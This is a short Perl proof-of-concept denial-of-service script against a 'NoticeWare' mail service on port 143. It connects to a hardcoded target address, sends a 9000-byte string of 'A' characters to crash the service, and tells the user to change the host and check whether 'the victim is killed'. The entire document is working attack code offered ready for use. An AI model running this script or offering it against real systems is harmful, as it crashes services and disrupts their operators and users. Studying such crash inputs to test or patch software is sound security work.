#A Simple POC by Ray, dont forget to change the host address

use IO::Socket;
print "\n++ NoticeWare DOS";
print "\n++ Initiating";
my $sock = new IO::Socket::INET (
				  PeerAddr => '192.168.2.7',
				  PeerPort => '143',
				  Proto => 'TCP',
				  );
die "Could not initiate connection $!\n" unless $sock;

print $sock "A" x 9000 . "\n";
print "\n++ Have to wait for a few seconds before closing the socket";
sleep(6);
close ($sock);
print "\n++ NC and check if the victim is killed \r\n";
